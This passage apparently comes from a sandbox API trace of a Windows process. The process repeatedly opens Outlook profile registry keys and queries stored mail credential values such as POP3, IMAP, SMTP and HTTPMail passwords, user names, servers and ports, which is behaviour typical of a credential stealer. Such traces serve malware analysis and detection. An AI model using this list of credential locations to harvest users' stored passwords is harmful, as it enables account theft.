lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.167] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.167] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.168] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTPMail Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.168] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.168] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.168] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.168] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.168] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.168] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.168] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.168] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.168] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.168] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.168] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.168] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.168] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.168] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.168] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.168] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.169] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.169] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.169] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.169] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", ulOptions=0x0, samDesired=0x201, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x6f8) returned 0x0 [0096.169] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.169] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.169] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", ulOptions=0x0, samDesired=0x201, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x6f8) returned 0x0 [0096.169] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.169] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.169] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", ulOptions=0x0, samDesired=0x201, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x6f8) returned 0x0 [0096.169] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.169] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.169] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.169] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.169] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.169] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.170] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.170] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.170] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.170] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.170] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.170] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.170] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.170] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.170] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.170] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.170] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.170] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.170] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.170] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.170] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.170] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.170] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.170] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.170] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.171] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.171] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.171] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.171] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.171] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.171] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.171] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.171] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.171] RegQueryValueExA (in: hKey=0x6f8, lpValueName="Email", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.171] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.171] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.171] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.171] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.171] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.171] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTP Server URL", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.171] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.171] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.171] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.171] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.172] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.172] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.172] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.172] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.172] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTPMail User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.172] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.172] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.172] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTPMail Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.172] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.172] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.172] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.172] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.172] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.172] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.172] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.172] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.172] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.172] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.172] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.173] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.173] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.173] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.173] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTPMail Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.173] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.173] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.173] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.173] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.173] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.173] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.173] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.173] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.173] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.173] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.173] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.173] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.173] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.173] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.174] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.174] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.174] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.174] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.174] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.174] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", ulOptions=0x0, samDesired=0x101, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x6f8) returned 0x0 [0096.174] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.174] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.174] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", ulOptions=0x0, samDesired=0x101, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x6f8) returned 0x0 [0096.174] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.174] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.174] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", ulOptions=0x0, samDesired=0x101, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x6f8) returned 0x0 [0096.174] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.174] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.174] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", phkResult=0x54deca0 | out: phkResult=0x54deca0*=0x6f8) returned 0x0 [0096.174] RegEnumKeyExA (in: hKey=0x6f8, dwIndex=0x0, lpName=0x54decb0, lpcchName=0x54df4d8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x54df4d8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0096.174] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.174] LocalFree (hMem=0x28e7670) returned 0x0 [0096.174] RegEnumKeyExA (in: hKey=0x368, dwIndex=0x2, lpName=0x54df510, lpcchName=0x54dfd38, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="189cba75c69c634996739bac92103ebb", lpcchName=0x54dfd38, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0096.175] lstrlenA (lpString="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook") returned 55 [0096.175] LocalAlloc (uFlags=0x40, uBytes=0xd7) returned 0x28e7670 [0096.175] wsprintfA (in: param_1=0x28e7670, param_2="%s\\%s" | out: param_1="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\189cba75c69c634996739bac92103ebb") returned 88 [0096.175] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\189cba75c69c634996739bac92103ebb", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.175] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.175] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.175] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\189cba75c69c634996739bac92103ebb", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.175] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.175] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.175] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\189cba75c69c634996739bac92103ebb", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: 